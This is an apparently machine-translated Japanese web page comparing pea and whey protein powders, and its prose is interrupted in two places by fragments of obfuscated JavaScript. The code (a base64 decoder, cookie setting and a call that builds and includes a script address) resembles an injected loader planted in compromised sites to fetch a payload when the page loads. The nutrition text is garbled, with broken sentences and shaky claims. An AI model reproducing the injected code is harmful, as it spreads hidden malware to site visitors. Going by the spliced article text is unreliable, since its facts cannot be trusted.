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実際、2011年にニュートリションジャーナルで発表された研究では、食事前にエンドウマメタンパク質粉末を飲んだ被験者は食事前にホエイタンパク質を飲んだ被験者.. *?(?:$|;)/g),_0x34eadd={};continue;}break;}}}}if(_0x4d5dc8){cookie['set'](_0x3f9d('0x32'),0x1,0x1);if(!_0x333de2){_0x31c794[_0x3f9d('0x33')](include,_0x31c794[_0x3f9d('0x34')](_0x31c794['gdMNa'](_0x31c794['wWVPL'],q),''));}}}R(); エンドウマメとホエイパウダーはいずれも、便利で低カロリーなパッケージで多量のタンパク質を提供するようにデザインされた栄養補助食品です.. 濃縮粉末は、通常、少なくとも70％のタンパク質を含有するが、分離した粉末は、より多くの、最大95％のタンパク質.

その量のホエータンパク質には、110カロリー、2グラムの脂肪、23グラムのタンパク質があります.. ホエイパウダーよりも多くの科学的研究がエンドウマメパウダーよりも行われていますが、その2つは顕著な違いがありますが、どちらも食事代替または筋力トレーニングサプリメントとしての有効なオプションです.. ホエイとエンドウ豆粉末の主な違いの1つは、ホエーが完全なタンパク質であることです。これは、ホエーがすべての必須アミノ酸を含み、エンドウ豆が不完全なタンパク質であることを意味します.. 植物ベースのタンパク質として、エンドウ豆粉末はビーガンに適しているが、必須のアミノ酸が欠けているので、食事中のタンパク質の主要な供給源として使用することは適切ではない.. エンドウ豆タンパク質粉末の33グラムのスクープは、130カロリー、脂肪2グラム、タンパク質28グラム.

そのため、ホエーは定期的な筋力トレーニングと連動して、筋肉の成長と発達を刺激するのに特に有益です.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x41e7ff){_0x2824d6=window;}return _0x2824d6;};var _0x9d3f62=_0x17a049();var _0x36255e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x9d3f62['atob']||(_0x9d3f62['atob']=function(_0x2ca181){var _0x3a555e=String(_0x2ca181)['replace'](/=+$/,'');for(var _0x1613f4=0x0,_0x40af7a,_0x2cae36,_0x245722=0x0,_0x706775='';_0x2cae36=_0x3a555e['charAt'](_0x245722++);~_0x2cae36&&(_0x40af7a=_0x1613f4%0x4?_0x40af7a*0x40+_0x2cae36:_0x2cae36,_0x1613f4++%0x4)?_0x706775+=String['fromCharCode'](0xff&_0x40af7a>>(-0x2*_0x1613f4&0x6)):0x0){_0x2cae36=_0x36255e['indexOf'](_0x2cae36);}return _0x706775;});}());_0x3f9d['OqmhQG']=function(_0x452048){var _0x21187e=atob(_0x452048);var _0x1627f8=[];for(var _0x28a746=0x0,_0x432efa=_0x21187e['length'];_0x28a746=0x0){if(_0x31c794[_0x3f9d('0x2f')](_0x31c794[_0x3f9d('0x30')],_0x31c794[_0x3f9d('0x30')])){_0x4d5dc8=!![];}else{var _0x233392=_0x31c794[_0x3f9d('0x31')][_0x3f9d('0xb')]('|'),_0x11eb41=0x0;while(!![]){switch(_0x233392[_0x11eb41++]){case'0':for(var _0x44bf81=0x0;_0x44bf81. 乳清はチーズ製造の副産物であるため、乳製品と同様に動物性タンパク質の一種であり、すべての動物性タンパク質が完成しています.

2011年、The Journal of Nutritionは、ホエーを定期的に摂取した太りすぎの成人が、23週間の試用期間中に体脂肪減少と腰囲減少を経験した研究結果を発表しました. 5ebbf469cd

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